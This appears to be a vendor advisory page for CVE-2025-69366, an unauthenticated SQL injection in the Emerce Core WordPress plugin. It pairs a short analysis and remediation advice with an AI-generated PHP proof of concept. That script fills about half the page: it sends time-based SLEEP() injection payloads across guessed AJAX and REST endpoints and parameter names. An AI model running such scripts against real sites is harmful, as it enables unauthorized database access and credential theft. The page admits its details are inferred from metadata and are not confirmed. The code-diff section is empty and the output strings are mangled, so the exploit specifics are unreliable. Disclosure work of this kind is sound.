Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69366: Emerce Core <= 1.8 – Unauthenticated SQL Injection (emerce-core)

Plugin emerce-core
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.8
Patched Version
Disclosed January 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69366 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Emerce Core WordPress plugin version 1.8 and earlier. The flaw allows attackers to inject arbitrary SQL commands via a user-supplied parameter, enabling sensitive database information extraction. The CVSS 3.1 score of 7.5 (High) reflects its network-accessible attack vector, low attack complexity, and high confidentiality impact.

Atomic Edge research indicates the root cause is insufficient escaping of user input combined with inadequate query preparation. The vulnerability description explicitly states “insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.” This matches CWE-89 patterns where WordPress plugins directly interpolate unsanitized user input into SQL statements without using proper `$wpdb->prepare()` methods. Without source code, this conclusion is inferred from the CWE classification and vulnerability description.

Exploitation likely occurs through a public-facing endpoint that accepts user input for database queries. Common WordPress patterns suggest an AJAX handler (`admin-ajax.php` or `admin-post.php`) with an action parameter like `emerce_core_action` or a REST API endpoint under `/wp-json/emerce-core/`. Attackers would send crafted HTTP requests containing SQL injection payloads in specific parameters. Example payloads include UNION-based queries for data extraction or time-based blind SQLi techniques using `SLEEP()` or `BENCHMARK()` functions.

Remediation requires implementing proper input validation and parameterized queries. The plugin should use WordPress’s `$wpdb->prepare()` method for all SQL queries incorporating user input. All user-supplied parameters must be validated against expected data types and sanitized using appropriate WordPress sanitization functions. The fix should also implement proper capability checks to restrict database operations to authorized users.

Successful exploitation enables complete database compromise. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), personally identifiable information, payment details, and other business-critical data stored in the database. While the CVSS vector indicates no integrity or availability impact, SQL injection often enables privilege escalation and subsequent site takeover through admin credential theft or direct database modification.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69366 - Emerce Core <= 1.8 - Unauthenticated SQL Injection
<?php
/**
 * Proof of Concept for CVE-2025-69366
 * This script demonstrates SQL injection in Emerce Core plugin <= 1.8
 * Since exact endpoint and parameter names are unavailable from metadata,
 * this PoC tests common WordPress plugin patterns.
 * Assumptions:
 * 1. Vulnerability exists in an AJAX handler or REST endpoint
 * 2. Plugin uses 'emerce_core' or similar prefix for actions
 * 3. Parameter vulnerable to SQL injection accepts numeric or string input
 */

$target_url = 'https://example.com';

// Common WordPress AJAX endpoints for plugins
$endpoints = [
    '/wp-admin/admin-ajax.php',
    '/wp-admin/admin-post.php',
    '/wp-json/emerce-core/v1/query',
    '/wp-json/emerce/v1/data',
    '/wp-content/plugins/emerce-core/ajax-handler.php'
];

// Common action parameter names based on plugin slug
$actions = [
    'emerce_core_action',
    'emerce_action',
    'ec_action',
    'emerce_core_query',
    'emerce_data'
];

// Common vulnerable parameter names
$params = [
    'id',
    'user_id',
    'post_id',
    'data',
    'query',
    'search',
    'filter'
];

// Time-based SQL injection payload (MySQL)
$payloads = [
    "1' AND SLEEP(5) AND '1'='1",
    "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1",
    "1' OR SLEEP(5) OR '1'='1"
];

function test_injection($url, $method, $data) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    } else {
        // For GET requests, append parameters to URL
        if (!empty($data)) {
            $url .= '?' . http_build_query($data);
            curl_setopt($ch, CURLOPT_URL, $url);
        }
    }
    
    $start_time = microtime(true);
    $response = curl_exec($ch);
    $end_time = microtime(true);
    curl_close($ch);
    
    $response_time = $end_time - $start_time;
    
    // If response time exceeds 4 seconds, potential SQL injection found
    if ($response_time > 4) {
        return [
            'vulnerable' => true,
            'response_time' => $response_time,
            'url' => $url,
            'data' => $data
        ];
    }
    
    return ['vulnerable' => false];
}

// Test each combination
foreach ($endpoints as $endpoint) {
    $full_url = $target_url . $endpoint;
    
    foreach ($actions as $action) {
        foreach ($params as $param) {
            foreach ($payloads as $payload) {
                // Test POST request (most common for AJAX)
                $post_data = [
                    'action' => $action,
                    $param => $payload
                ];
                
                $result = test_injection($full_url, 'POST', $post_data);
                if ($result['vulnerable']) {
                    echo "[+] Potential SQL injection found!n";
                    echo "    URL: " . $result['url'] . "n";
                    echo "    Parameters: " . print_r($result['data'], true) . "n";
                    echo "    Response time: " . $result['response_time'] . " secondsn";
                    exit(0);
                }
                
                // Test GET request
                $get_data = [
                    'action' => $action,
                    $param => $payload
                ];
                
                $result = test_injection($full_url, 'GET', $get_data);
                if ($result['vulnerable']) {
                    echo "[+] Potential SQL injection found!n";
                    echo "    URL: " . $result['url'] . "n";
                    echo "    Parameters: " . print_r($result['data'], true) . "n";
                    echo "    Response time: " . $result['response_time'] . " secondsn";
                    exit(0);
                }
            }
        }
    }
}

echo "[-] No SQL injection detected with tested patterns.n";
echo "    Note: Actual endpoint/parameter names may differ.n";
?>

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